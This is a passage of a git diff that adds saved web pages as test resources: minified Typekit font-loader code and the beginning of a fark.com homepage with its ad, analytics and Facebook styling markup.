+V.addBrowser(new P("safari3to5-osx","b",function(a,c,b,e,f,g,k){var h=q;h=h||function(d,m,n,p,i,l){d=/^([0-9]+)(_|.)([0-9]+)/.exec(l);if(i=="Macintosh"&&d){i=parseInt(d[1],10);l=parseInt(d[3],10);return i>10||i==10&&l>=4}else return i=="Macintosh"&&l=="Unknown"?j:q}(a,c,b,e,f,g,k);if(!h)return q;return function(d,m,n,p){if(d=="Safari"&&n=="AppleWebKit")if(d=/([0-9]+.[0-9]+)/.exec(p)){d=parseFloat(d[1]);return d>=525.13&&d<534.5}return q}(a,c,b,e,f,g,k)}));
+V.addBrowser(new P("safariany-android2to3-ipad4-iphone4","a",function(a,c,b,e,f,g,k){var h=q;h=(h=(h=h||function(d,m,n,p,i,l){d=/([0-9]+).([0-9]+)/.exec(l);if(i=="Android"&&d){i=parseInt(d[1],10);d=parseInt(d[2],10);return i==2&&d>=2||i==3&&d<1}else return q}(a,c,b,e,f,g,k))||function(d,m,n,p,i,l){if(i=="iPad")if(d=/^([0-9]+)_([0-9]+)/.exec(l)){m=parseInt(d[2],10);return parseInt(d[1],10)==4&&m>=2}else return q;else return q}(a,c,b,e,f,g,k))||function(d,m,n,p,i,l){if(i=="iPhone"||i=="iPo [...]
+parseInt(d[2],10);return parseInt(d[1],10)==4&&m>=2}else return q;else return q}(a,c,b,e,f,g,k);if(!h)return q;a=a=="Safari"&&b=="AppleWebKit"||a=="Unknown"&&b=="AppleWebKit"&&(f=="iPhone"||f=="iPad")?j:q;return a}));
+V.addBrowser(new P("air-linux-win","a",function(a,c,b,e,f,g,k){var h=q;h=(h=h||(f=="Windows"&&g=="Unknown"?j:q))||(f=="Ubuntu"||f=="Linux"?j:q);if(!h)return q;return function(d,m){if(d=="AdobeAIR"){var n=/([0-9]+.[0-9]+)/.exec(m);if(n)return parseFloat(n[1])>=2.5}return q}(a,c,b,e,f,g,k)}));
+V.addBrowser(new P("opera11plus-linux-osx-win2003-win7plus-winvista-winxp","d",function(a,c,b,e,f,g,k){var h=q;h=(h=(h=(h=(h=(h=h||(f=="Windows"&&g=="5.1"?j:q))||(f=="Windows"&&g=="5.2"?j:q))||(f=="Windows"&&g=="6.0"?j:q))||function(d,m,n,p,i,l){d=/^([0-9]+).([0-9]+)/.exec(l);if(i=="Windows"&&d){i=parseInt(d[1],10);d=parseInt(d[2],10);return i>6||i==6&&d>=1}else return q}(a,c,b,e,f,g,k))||function(d,m,n,p,i,l){d=/^([0-9]+)(_|.)([0-9]+)/.exec(l);if(i=="Macintosh"&&d){i=parseInt(d[1],10);l [...]
+10);return i>10||i==10&&l>=4}else return i=="Macintosh"&&l=="Unknown"?j:q}(a,c,b,e,f,g,k))||(f=="Ubuntu"||f=="Linux"?j:q);if(!h)return q;a=a=="Opera"?parseFloat(c)>=11.1:q;return a}));
+V.addBrowser(new P("safari5plus-osx-win2003-win7plus-winvista-winxp","d",function(a,c,b,e,f,g,k){var h=q;h=(h=(h=(h=(h=h||(f=="Windows"&&g=="5.1"?j:q))||(f=="Windows"&&g=="5.2"?j:q))||(f=="Windows"&&g=="6.0"?j:q))||function(d,m,n,p,i,l){d=/^([0-9]+).([0-9]+)/.exec(l);if(i=="Windows"&&d){i=parseInt(d[1],10);d=parseInt(d[2],10);return i>6||i==6&&d>=1}else return q}(a,c,b,e,f,g,k))||function(d,m,n,p,i,l){d=/^([0-9]+)(_|.)([0-9]+)/.exec(l);if(i=="Macintosh"&&d){i=parseInt(d[1],10);l=parseInt [...]
+return i>10||i==10&&l>=4}else return i=="Macintosh"&&l=="Unknown"?j:q}(a,c,b,e,f,g,k);if(!h)return q;return function(d,m,n,p){if(d=="Safari"&&n=="AppleWebKit")if(d=/([0-9]+.[0-9]+)/.exec(p))return parseFloat(d[1])>=534.5;return q}(a,c,b,e,f,g,k)}));
+V.addBrowser(new P("ie6to8-win2003-win7plus-winvista-winxp","i",function(a,c,b,e,f,g,k){var h=q;h=(h=(h=(h=h||(f=="Windows"&&g=="5.1"?j:q))||(f=="Windows"&&g=="5.2"?j:q))||(f=="Windows"&&g=="6.0"?j:q))||function(d,m,n,p,i,l){d=/^([0-9]+).([0-9]+)/.exec(l);if(i=="Windows"&&d){i=parseInt(d[1],10);d=parseInt(d[2],10);return i>6||i==6&&d>=1}else return q}(a,c,b,e,f,g,k);if(!h)return q;return function(d,m,n,p,i,l,F){if(d=="MSIE"){if(d=/([0-9]+.[0-9]+)/.exec(m))return parseFloat(d[1])>=6&&(F== [...]
+F<9);return q}}(a,c,b,e,f,g,k)}));V.addBrowser(new P("safariany-android3plus","f",function(a,c,b,e,f,g,k){var h=q;h=h||function(d,m,n,p,i,l){d=/([0-9]+).([0-9]+)/.exec(l);if(i=="Android"&&d){i=parseInt(d[1],10);d=parseInt(d[2],10);return i==3&&d>=1||i>3}else return q}(a,c,b,e,f,g,k);if(!h)return q;a=a=="Safari"&&b=="AppleWebKit"||a=="Unknown"&&b=="AppleWebKit"&&(f=="iPhone"||f=="iPad")?j:q;return a}));
+V.addBrowser(new P("ff35-osx","b",function(a,c,b,e,f,g,k){var h=q;h=h||function(d,m,n,p,i,l){d=/^([0-9]+)(_|.)([0-9]+)/.exec(l);if(i=="Macintosh"&&d){i=parseInt(d[1],10);l=parseInt(d[3],10);return i>10||i==10&&l>=4}else return i=="Macintosh"&&l=="Unknown"?j:q}(a,c,b,e,f,g,k);if(!h)return q;return function(d,m,n,p){if(n=="Gecko"){d=/1.9.1b[1-3]{1}/;return/1.9.1/.test(p)&&!d.test(p)}return q}(a,c,b,e,f,g,k)}));
+V.addBrowser(new P("opera10-linux-win2003-win7plus-winvista-winxp","a",function(a,c,b,e,f,g,k){var h=q;h=(h=(h=(h=(h=h||(f=="Windows"&&g=="5.1"?j:q))||(f=="Windows"&&g=="5.2"?j:q))||(f=="Windows"&&g=="6.0"?j:q))||function(d,m,n,p,i,l){d=/^([0-9]+).([0-9]+)/.exec(l);if(i=="Windows"&&d){i=parseInt(d[1],10);d=parseInt(d[2],10);return i>6||i==6&&d>=1}else return q}(a,c,b,e,f,g,k))||(f=="Ubuntu"||f=="Linux"?j:q);if(!h)return q;return function(d,m){if(d=="Opera"){var n=parseFloat(m);return n>= [...]
+11.1}return q}(a,c,b,e,f,g,k)}));
+V.addBrowser(new P("chrome4to5-linux-osx-win2003-win7plus-winvista-winxp","a",function(a,c,b,e,f,g,k){var h=q;h=(h=(h=(h=(h=(h=h||(f=="Windows"&&g=="5.1"?j:q))||(f=="Windows"&&g=="5.2"?j:q))||(f=="Windows"&&g=="6.0"?j:q))||function(d,m,n,p,i,l){d=/^([0-9]+).([0-9]+)/.exec(l);if(i=="Windows"&&d){i=parseInt(d[1],10);d=parseInt(d[2],10);return i>6||i==6&&d>=1}else return q}(a,c,b,e,f,g,k))||function(d,m,n,p,i,l){d=/^([0-9]+)(_|.)([0-9]+)/.exec(l);if(i=="Macintosh"&&d){i=parseInt(d[1],10);l= [...]
+10);return i>10||i==10&&l>=4}else return i=="Macintosh"&&l=="Unknown"?j:q}(a,c,b,e,f,g,k))||(f=="Ubuntu"||f=="Linux"?j:q);if(!h)return q;return function(d,m){if(d=="Chrome"){var n=/([0-9]+.[0-9]+).([0-9]+).([0-9]+)/.exec(m);if(n){var p=parseFloat(n[1]),i=parseInt(n[2],10);n=parseInt(n[3],10);if(p>=6)return q;else if(p>4)return j;else if(p==4&&i>249)return j;else if(p==4&&i==249&&n>=4)return j}}return q}(a,c,b,e,f,g,k)}));
+V.addBrowser(new P("ff36plus-linux-osx-win2003-win7plus-winvista-winxp","d",function(a,c,b,e,f,g,k){var h=q;h=(h=(h=(h=(h=(h=h||(f=="Windows"&&g=="5.1"?j:q))||(f=="Windows"&&g=="5.2"?j:q))||(f=="Windows"&&g=="6.0"?j:q))||function(d,m,n,p,i,l){d=/^([0-9]+).([0-9]+)/.exec(l);if(i=="Windows"&&d){i=parseInt(d[1],10);d=parseInt(d[2],10);return i>6||i==6&&d>=1}else return q}(a,c,b,e,f,g,k))||function(d,m,n,p,i,l){d=/^([0-9]+)(_|.)([0-9]+)/.exec(l);if(i=="Macintosh"&&d){i=parseInt(d[1],10);l=pa [...]
+10);return i>10||i==10&&l>=4}else return i=="Macintosh"&&l=="Unknown"?j:q}(a,c,b,e,f,g,k))||(f=="Ubuntu"||f=="Linux"?j:q);if(!h)return q;return function(d,m,n,p){if(n=="Gecko")if(m=/([0-9]+.[0-9]+)(.([0-9]+)|)/.exec(p)){d=parseFloat(m[1]);m=parseInt(m[3],10);return d>1.9||d>=1.9&&m>1}return q}(a,c,b,e,f,g,k)}));
+V.addBrowser(new P("safariany-ipad5plus-iphone5plus","d",function(a,c,b,e,f,g,k){var h=q;h=(h=h||function(d,m,n,p,i,l){if(i=="iPad")return(d=/^([0-9]+)_([0-9]+)/.exec(l))?parseInt(d[1],10)>=5:q;else return q}(a,c,b,e,f,g,k))||function(d,m,n,p,i,l){if(i=="iPhone"||i=="iPod")return(d=/^([0-9]+)_([0-9]+)/.exec(l))?parseInt(d[1],10)>=5:q;else return q}(a,c,b,e,f,g,k);if(!h)return q;a=a=="Safari"&&b=="AppleWebKit"||a=="Unknown"&&b=="AppleWebKit"&&(f=="iPhone"||f=="iPad")?j:q;return a}));
+V.addBrowser(new P("air-osx","b",function(a,c,b,e,f,g,k){var h=q;h=h||function(d,m,n,p,i,l){d=/^([0-9]+)(_|.)([0-9]+)/.exec(l);if(i=="Macintosh"&&d){i=parseInt(d[1],10);l=parseInt(d[3],10);return i>10||i==10&&l>=4}else return i=="Macintosh"&&l=="Unknown"?j:q}(a,c,b,e,f,g,k);if(!h)return q;return function(d,m){if(d=="AdobeAIR"){var n=/([0-9]+.[0-9]+)/.exec(m);if(n)return parseFloat(n[1])>=2.5}return q}(a,c,b,e,f,g,k)}));
+V.addBrowser(new P("safari3to5-win2003-win7plus-winvista-winxp","a",function(a,c,b,e,f,g,k){var h=q;h=(h=(h=(h=h||(f=="Windows"&&g=="5.1"?j:q))||(f=="Windows"&&g=="5.2"?j:q))||(f=="Windows"&&g=="6.0"?j:q))||function(d,m,n,p,i,l){d=/^([0-9]+).([0-9]+)/.exec(l);if(i=="Windows"&&d){i=parseInt(d[1],10);d=parseInt(d[2],10);return i>6||i==6&&d>=1}else return q}(a,c,b,e,f,g,k);if(!h)return q;return function(d,m,n,p){if(d=="Safari"&&n=="AppleWebKit")if(d=/([0-9]+.[0-9]+)/.exec(p)){d=parseFloat(d [...]
+525.13&&d<534.5}return q}(a,c,b,e,f,g,k)}));var W=new function(){this.H=[];this.r={}},ya=new T("AllFonts",function(a,c){return c});U(W,ya.getName())||W.H.push(ya);
+var za=new T("DefaultFourFontsWithSingleFvdFamilies",function(a,c,b){for(var e=0;e<c.length;e++){var f=c[e],g=a.replace(/(-1|-2)$/,"").slice(0,28)+"-"+f;b.push(new na(g,[f]))}a={};for(f=0;f<c.length;f++){b=c[f];e=b.charAt(1);(a[e]||(a[e]=[])).push(b)}b=[[4,3,2,1,5,6,7,8,9],[7,8,9,6,5,4,3,2,1]];e=[];for(f=0;f<b.length;f++){g=b[f];for(var k=0;k<g.length;k++){var h=g[k];if(a[h]){e=e.concat(a[h]);break}}}b=e;e={};a=[];for(f=0;f<b.length;f++){g=b[f];if(!e[g]){e[g]=j;a.push(g)}}b=[];for(e=0;e< [...]
+c[e];for(g=0;g<a.length;g++){k=a[g];k==f&&b.push(k)}}return b});U(W,za.getName())||W.H.push(za);W.r.a="AllFonts";W.r.b="AllFonts";W.r.d="AllFonts";W.r.e="AllFonts";W.r.f="AllFonts";W.r.g="AllFonts";W.r.h="AllFonts";W.r.i="DefaultFourFontsWithSingleFvdFamilies";var X=new function(){this.s={}};X.s.a=[];X.s.b=[];X.s.d=[];X.s.e=[];X.s.f=["observeddomain"];X.s.g=["observeddomain"];X.s.h=["observeddomain"];X.s.i=["observeddomain","fontmask"];
+if(!window.Typekit){var Aa=new O(j,"fonts.gawker.com","/"),Ba=(new x(navigator.userAgent,document)).parse(),Ca=new M(document,Ba),Da=function(a,c){setTimeout(a,c)},Y=new R(Aa,Ca,Ba,document.documentElement,Da),Z=new S(window,Ca,Da);window.Typekit=Y;window.Typekit.load=Y.load;window.Typekit.addKit=Y.K}var Ea,Fa=o,Ga,$;Ea=new O(j,"fonts.gawker.com","/k");Fa=new xa("//p.typekit.net/p.gif?a=111373&f=143%2C147&ht=sh&k=zvc4iwz&s=1&_={_}");Ga=new function(a,c){this.T=a;this.ka=c}(o,Fa);$=new pa [...]
+$.setSecurityToken("3bb2a6e53c9684ffdc9a98f3125b2a626c095928039adb8cca8e16c915a159b0f3c8d256a5ec264208bbf5cbd1783600e65386356fa35d50982087f520acbb9763065409424973295f46d8d9db605d324f45829106861751ccba125a79487b746ad1ec2508547ea754a6edb66e38116953b75739dfe7f6f95a3018b5ce990280ee1d258bc715dd5bbcf830e9831cdd9209903a493236912cbfcda237a49fcd46a4cd122c6d741bbd7614db135bb3b420f1e3ebf246bcad7673a1494255af32690eff20cde61fbdaf8132c6201d88ad4a6e2d879073b84c58b4ba30a25390f9b8d872313c611595ee7d571ff1 [...]
+$.setNestedUrl(Ea);$.setKitOptions(Ga);$.addFontFamily(new N("proxima-nova-condensed-1,proxima-nova-condensed-2",["n4","n7"]));$.addCssRule(new function(a,c){this.Ma=a;this.Y=c}([".modfont",".tk-proxima-nova-condensed"],[{name:"font-family",value:'"proxima-nova-condensed-1","proxima-nova-condensed-2",sans-serif'}]));$.addBrowser(V.getBrowserById("air-linux-win"));$.addBrowser(V.getBrowserById("air-osx"));$.addBrowser(V.getBrowserById("chrome4to5-linux-osx-win2003-win7plus-winvista-winxp" [...]
+$.addBrowser(V.getBrowserById("ff35-linux-win2003-win7plus-winvista-winxp"));$.addBrowser(V.getBrowserById("ff35-osx"));$.addBrowser(V.getBrowserById("ff36plus-linux-osx-win2003-win7plus-winvista-winxp"));$.addBrowser(V.getBrowserById("ie6to8-win2003-win7plus-winvista-winxp"));$.addBrowser(V.getBrowserById("ie9plus-win7plus-winvista"));$.addBrowser(V.getBrowserById("opera10-linux-win2003-win7plus-winvista-winxp"));$.addBrowser(V.getBrowserById("opera10-osx"));$.addBrowser(V.getBrowserByI [...]
+$.addBrowser(V.getBrowserById("safari3to5-osx"));$.addBrowser(V.getBrowserById("safari3to5-win2003-win7plus-winvista-winxp"));$.addBrowser(V.getBrowserById("safari5plus-osx-win2003-win7plus-winvista-winxp"));$.addBrowser(V.getBrowserById("safariany-android2to3-ipad4-iphone4"));$.addBrowser(V.getBrowserById("safariany-android3plus"));$.addBrowser(V.getBrowserById("safariany-ipad5plus-iphone5plus"));$.setFontFilterSet(W);if(Z&&Z.ca.__webfonttypekitmodule__){Z.K($);Z.load()}else window.Type [...]
+})(this,document);
\ No newline at end of file
diff --git a/src/test/resources/s/fark.com b/src/test/resources/s/fark.com
new file mode 100644
index 0000000..3d20dc0
--- /dev/null
+++ b/src/test/resources/s/fark.com
@@ -0,0 +1,1405 @@
+<!DOCTYPE html>
+<!-- paulirish.com/2008/conditional-stylesheets-vs-css-hacks-answer-neither/ -->
+<!--[if lt IE 7 ]> <html class="no-js ie6" lang="en"> <![endif]-->
+<!--[if IE 7 ]> <html class="no-js ie7" lang="en"> <![endif]-->
+<!--[if IE 8 ]> <html class="no-js ie8" lang="en"> <![endif]-->
+<!--[if (gte IE 9)|!(IE)]><!-->
+<html class="no-js" lang="en"><!--<![endif]--><head>
+<title>Drew Curtis' FARK.com</title>
+<!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame
+ Remove this if you use the .htaccess -->
+<!-- <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> --> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+<meta name="description" content="Satirical views on interesting, bizarre and amusing stories, submitted by a community of millions of news junkies, with regular Photoshop contests.">
+<meta name="keywords" content="Fark, Fark.com, Drew Curtis, News, Community News, Social News, News Flash, Funny News, Weird News, Odd News, Strange News, Satirical News, Humor, Photoshop, Photoshop Contest, Memes, Caturday, Comments, News Commentary, Political News, Celebrity News, Sports News, Geek News">
+
+ <meta property="fb:admins" content="741339004,690298743,503216953,1016611319">
+<meta property="og:image" content="http://img.fark.net/images/2013/site/farkLogo2Big.gif">
+<meta property="og:type" content="website">
+<link rel="image_src" type="image/gif" href="http://img.fark.net/images/2013/site/farkLogo2Big.gif"> <meta property="og:url" content="http://www.fark.com/"> <link rel="canonical" href="http://www.fark.com/"> <meta name="viewport" content="minimum-scale=0.35">
+ <meta name="apple-itunes-app" content="app-id=529972412">
+
+<link rel="shortcut icon" href="http://www.fark.com/favicon.ico">
+<link rel="apple-touch-icon" href="http://img.fark.net/images/2008/site/fark-webclip.png">
+
+ <link rel="stylesheet" type="text/css" href="Filer_for_fark/minfarkstyle_new_15553.css" media="screen"> <style type="text/css">
+ at media only screen and (device-width: 768px) {
+ /* ipad styles */
+ div#newsContainer { font-size: 18px;}
+}
+</style>
+
+<!--[if gt IE 5]><style type="text/css" media="screen">
+#siteContainer {word-wrap: break-word;} /* CSS3 and IE only, not for CSS2 or Firefox */
+</style><![endif]-->
+<!--[if lt IE 7]><style type="text/css" media="screen">
+/* IE6 doesn't understand min-width, so fake it. Won't work on IE55 */
+#topMenu { width:expression(document.body.clientWidth < 1000 ? "990px" : "100%" ); }
+#bodyContainer { width:expression(document.body.clientWidth < 1000 ? "990px" : "100%" ); }
+#footer { width:expression(document.body.clientWidth < 1000 ? "990px" : "100%" ); }
+</style><![endif]--> <script src="Filer_for_fark/beacon.js" async=""></script><script src="Filer_for_fark/a.js" async="" type="text/javascript"></script><script async="" src="Filer_for_fark/cbgapi.loaded_0"></script><script src="Filer_for_fark/beacon.js" async=""></script><script src="Filer_for_fark/ga.js" async="" type="text/javascript"></script><script src="Filer_for_fark/all_002.js" id="facebook-jssdk"></script><script src="Filer_for_fark/gpt.js" type="text/javascript" async=""></ [...]
+ var googletag = googletag || {};
+ googletag.cmd = googletag.cmd || [];
+ (function() {
+ var gads = document.createElement('script');
+ gads.async = true;
+ gads.type = 'text/javascript';
+ var useSSL = 'https:' == document.location.protocol;
+ gads.src = (useSSL ? 'https:' : 'http:') +
+ '//www.googletagservices.com/tag/js/gpt.js';
+ var node = document.getElementsByTagName('script')[0];
+ node.parentNode.insertBefore(gads, node);
+ })();
+ </script> <script type="text/javascript">
+ googletag.cmd.push(function() {
+ var leaderboard_ad_slot = googletag.defineSlot(
+ '/1055466/MainPage-Leaderboard',
+ [728, 90],
+ 'topAd728x90'
+ ).addService(googletag.pubads());
+ var billboard_ad_slot = googletag.defineSlot(
+ '/1055466/MainPage-Billboard',
+ [300, 250],
+ 'rightAd300x250'
+ ).addService(googletag.pubads());
+ var billboard2_ad_slot = googletag.defineSlot(
+ '/1055466/MainPage-Billboard-Lower',
+ [300, 250],
+ 'rightAd300x250Lower'
+ ).addService(googletag.pubads());
+ var leaderboard2_ad_slot = googletag.defineSlot(
+ '/1055466/MainPage-Leaderboard-Lower',
+ [728, 90],
+ 'bottomAd728x90'
+ ).addService(googletag.pubads());
+ //googletag.pubads().enableSingleRequest();
+ googletag.pubads().set("page_url", window.location.href);
+ googletag.enableServices();
+ });
+ </script> <script type="text/javascript" src="Filer_for_fark/jquery-farktools.js"></script><style type="text/css">.jsonly { display:inline; }</style>
+<script type="text/javascript">
+//<![CDATA[
+$.ajaxSetup({ timeout: 15000 });
+var fark_ajax_spinner = new Image();
+fark_ajax_spinner.src = 'https://img.fark.net/images/2011/site/ajax-loader.gif';
+var fark_ajax_spinner_raw = '<\img alt="..." src="https://img.fark.net/images/2011/site/ajax-loader.gif" width="16" height="16">';
+var fark_vote_checkbox_raw = '<\span class="checkboxIcon3"><\/span>';
+//]]></script> <script type="text/javascript" src="Filer_for_fark/ckeditor.js"></script><script src="Filer_for_fark/google_ads_gpt.js" type="text/javascript" async=""></script><style>.cke{visibility:hidden;}</style> <script type="text/javascript">
+//<![CDATA[
+ var _gaq = _gaq || [];
+ _gaq.push(['_setAccount', 'UA-225200-1']); _gaq.push(['_setDomainName', '.fark.com']);
+ _gaq.push(['_setAllowHash', false]); _gaq.push(['_setCustomVar',1,'UserType', 'Lurker', 1]);
+ _gaq.push(['_setCustomVar',2,'PageType', 'Fark', 3]);
+
+ _gaq.push(['_trackPageview']);
+
+ (function() {
+ var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
+ ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
+ var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
+ })();
+//]]></script> <script type="text/javascript">
+ abimg(1);
+ _gaq.push(['_trackEvent', 'Ads', 'Display', 'A', 1, true]); abimg(2);
+_gaq.push(['_trackEvent', 'Ads', 'Display', 'B', 1, true]); abimg(3);
+ _gaq.push(['_trackEvent', 'Ads', 'Display', 'C', 1, true]);
+
+$(document).ready(function() {
+ setTimeout(function() {
+ if(abTest()) {
+ abimg(4);
+ _gaq.push(['_trackEvent', 'Ads', 'Display', 'D', 1, true]);
+ };
+ addImages();
+ }, 5000);
+}); </script> <link rel="alternate" href="http://www.fark.com/fark.rss" type="application/rss+xml" title="FARK.com Fark RSS Feed"> <style type="text/css">.fb_hidden{position:absolute;top:-10000px;z-index:10001}
+.fb_invisible{display:none}
+.fb_reset{background:none;border-spacing:0;border:0;color:#000;cursor:auto;direction:ltr;font-family:"lucida grande", tahoma, verdana, arial, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal}
+.fb_link img{border:none}
+.fb_dialog{background:rgba(82, 82, 82, .7);position:absolute;top:-10000px;z-index:10001}
+.fb_dialog_advanced{padding:10px;-moz-border-radius:8px;-webkit-border-radius:8px;border-radius:8px}
+.fb_dialog_content{background:#fff;color:#333}
+.fb_dialog_close_icon{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yA/x/IE9JII6Z1Ys.png) no-repeat scroll 0 0 transparent;_background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/y6/x/s816eWC-2sl.gif);cursor:pointer;display:block;height:15px;position:absolute;right:18px;top:17px;width:15px;top:8px\9;right:7px\9}
+.fb_dialog_mobile .fb_dialog_close_icon{top:5px;left:5px;right:auto}
+.fb_dialog_padding{background-color:transparent;position:absolute;width:1px;z-index:-1}
+.fb_dialog_close_icon:hover{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yA/x/IE9JII6Z1Ys.png) no-repeat scroll 0 -15px transparent;_background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/y6/x/s816eWC-2sl.gif)}
+.fb_dialog_close_icon:active{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yA/x/IE9JII6Z1Ys.png) no-repeat scroll 0 -30px transparent;_background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/y6/x/s816eWC-2sl.gif)}
+.fb_dialog_loader{background-color:#f2f2f2;border:1px solid #606060;font-size:24px;padding:20px}
+.fb_dialog_top_left,
+.fb_dialog_top_right,
+.fb_dialog_bottom_left,
+.fb_dialog_bottom_right{height:10px;width:10px;overflow:hidden;position:absolute}
+/* @noflip */
+.fb_dialog_top_left{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yR/x/8YeTNIlTZjm.png) no-repeat 0 0;left:-10px;top:-10px}
+/* @noflip */
+.fb_dialog_top_right{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yR/x/8YeTNIlTZjm.png) no-repeat 0 -10px;right:-10px;top:-10px}
+/* @noflip */
+.fb_dialog_bottom_left{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yR/x/8YeTNIlTZjm.png) no-repeat 0 -20px;bottom:-10px;left:-10px}
+/* @noflip */
+.fb_dialog_bottom_right{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yR/x/8YeTNIlTZjm.png) no-repeat 0 -30px;right:-10px;bottom:-10px}
+.fb_dialog_vert_left,
+.fb_dialog_vert_right,
+.fb_dialog_horiz_top,
+.fb_dialog_horiz_bottom{position:absolute;background:#525252;filter:alpha(opacity=70);opacity:.7}
+.fb_dialog_vert_left,
+.fb_dialog_vert_right{width:10px;height:100%}
+.fb_dialog_vert_left{margin-left:-10px}
+.fb_dialog_vert_right{right:0;margin-right:-10px}
+.fb_dialog_horiz_top,
+.fb_dialog_horiz_bottom{width:100%;height:10px}
+.fb_dialog_horiz_top{margin-top:-10px}
+.fb_dialog_horiz_bottom{bottom:0;margin-bottom:-10px}
+.fb_dialog_iframe{line-height:0}
+.fb_dialog_content .dialog_title{background:#6d84b4;border:1px solid #3b5998;color:#fff;font-size:14px;font-weight:bold;margin:0}
+.fb_dialog_content .dialog_title > span{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yD/x/Cou7n-nqK52.gif)
+no-repeat 5px 50%;float:left;padding:5px 0 7px 26px}
+body.fb_hidden{-webkit-transform:none;height:100%;margin:0;left:-10000px;overflow:visible;position:absolute;top:-10000px;width:100%
+}
+.fb_dialog.fb_dialog_mobile.loading{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yc/x/3rhSv5V8j3o.gif)
+white no-repeat 50% 50%;min-height:100%;min-width:100%;overflow:hidden;position:absolute;top:0;z-index:10001}
+.fb_dialog.fb_dialog_mobile.loading.centered{max-height:590px;min-height:590px;max-width:500px;min-width:500px}
+#fb-root #fb_dialog_ipad_overlay{background:rgba(0, 0, 0, .45);position:absolute;left:0;top:0;width:100%;min-height:100%;z-index:10000}
+#fb-root #fb_dialog_ipad_overlay.hidden{display:none}
+.fb_dialog.fb_dialog_mobile.loading iframe{visibility:hidden}
+.fb_dialog_content .dialog_header{-webkit-box-shadow:white 0 1px 1px -1px inset;background:-webkit-gradient(linear, 0 0, 0 100%, from(#738ABA), to(#2C4987));border-bottom:1px solid;border-color:#1d4088;color:#fff;font:14px Helvetica, sans-serif;font-weight:bold;text-overflow:ellipsis;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0;vertical-align:middle;white-space:nowrap}
+.fb_dialog_content .dialog_header table{-webkit-font-smoothing:subpixel-antialiased;height:43px;width:100%
+}
+.fb_dialog_content .dialog_header td.header_left{font-size:12px;padding-left:5px;vertical-align:middle;width:60px
+}
+.fb_dialog_content .dialog_header td.header_right{font-size:12px;padding-right:5px;vertical-align:middle;width:60px
+}
+.fb_dialog_content .touchable_button{background:-webkit-gradient(linear, 0 0, 0 100%, from(#4966A6),
+color-stop(0.5, #355492), to(#2A4887));border:1px solid #29447e;-webkit-background-clip:padding-box;-webkit-border-radius:3px;-webkit-box-shadow:rgba(0, 0, 0, .117188) 0 1px 1px inset,
+rgba(255, 255, 255, .167969) 0 1px 0;display:inline-block;margin-top:3px;max-width:85px;line-height:18px;padding:4px 12px;position:relative}
+.fb_dialog_content .dialog_header .touchable_button input{border:none;background:none;color:#fff;font:12px Helvetica, sans-serif;font-weight:bold;margin:2px -12px;padding:2px 6px 3px 6px;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0}
+.fb_dialog_content .dialog_header .header_center{color:#fff;font-size:16px;font-weight:bold;line-height:18px;text-align:center;vertical-align:middle}
+.fb_dialog_content .dialog_content{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yJ/x/jKEcVPZFk-2.gif) no-repeat 50% 50%;border:1px solid #555;border-bottom:0;border-top:0;height:150px}
+.fb_dialog_content .dialog_footer{background:#f2f2f2;border:1px solid #555;border-top-color:#ccc;height:40px}
+#fb_dialog_loader_close{float:left}
+.fb_dialog.fb_dialog_mobile .fb_dialog_close_button{text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0}
+.fb_dialog.fb_dialog_mobile .fb_dialog_close_icon{visibility:hidden}
+.fb_iframe_widget{position:relative;display:-moz-inline-block;display:inline-block}
+.fb_iframe_widget iframe{position:absolute}
+.fb_iframe_widget_lift{z-index:1}
+.fb_iframe_widget span{position:relative;display:inline-block;vertical-align:text-bottom;text-align:justify}
+.fb_hide_iframes iframe{position:relative;left:-10000px}
+.fb_iframe_widget_loader{position:relative;display:inline-block}
+.fb_iframe_widget_fluid{display:inline}
+.fb_iframe_widget_fluid span{width:100%}
+.fb_iframe_widget_loader iframe{min-height:32px;z-index:2;zoom:1}
+.fb_iframe_widget_loader .FB_Loader{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yJ/x/jKEcVPZFk-2.gif) no-repeat;height:32px;width:32px;margin-left:-16px;position:absolute;left:50%;z-index:4}
+.fb_button_simple,
+.fb_button_simple_rtl{background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/yH/x/eIpbnVKI9lR.png);background-repeat:no-repeat;cursor:pointer;outline:none;text-decoration:none}
+.fb_button_simple_rtl{background-position:right 0}
+.fb_button_simple .fb_button_text{margin:0 0 0 20px;padding-bottom:1px}
+.fb_button_simple_rtl .fb_button_text{margin:0 10px 0 0}
+a.fb_button_simple:hover .fb_button_text,
+a.fb_button_simple_rtl:hover .fb_button_text,
+.fb_button_simple:hover .fb_button_text,
+.fb_button_simple_rtl:hover .fb_button_text{text-decoration:underline}
+.fb_button,
+.fb_button_rtl{background:#29447e url(http://static.ak.fbcdn.net/rsrc.php/v2/yl/x/FGFbc80dUKj.png);background-repeat:no-repeat;cursor:pointer;display:inline-block;padding:0 0 0 1px;text-decoration:none;outline:none}
+.fb_button .fb_button_text,
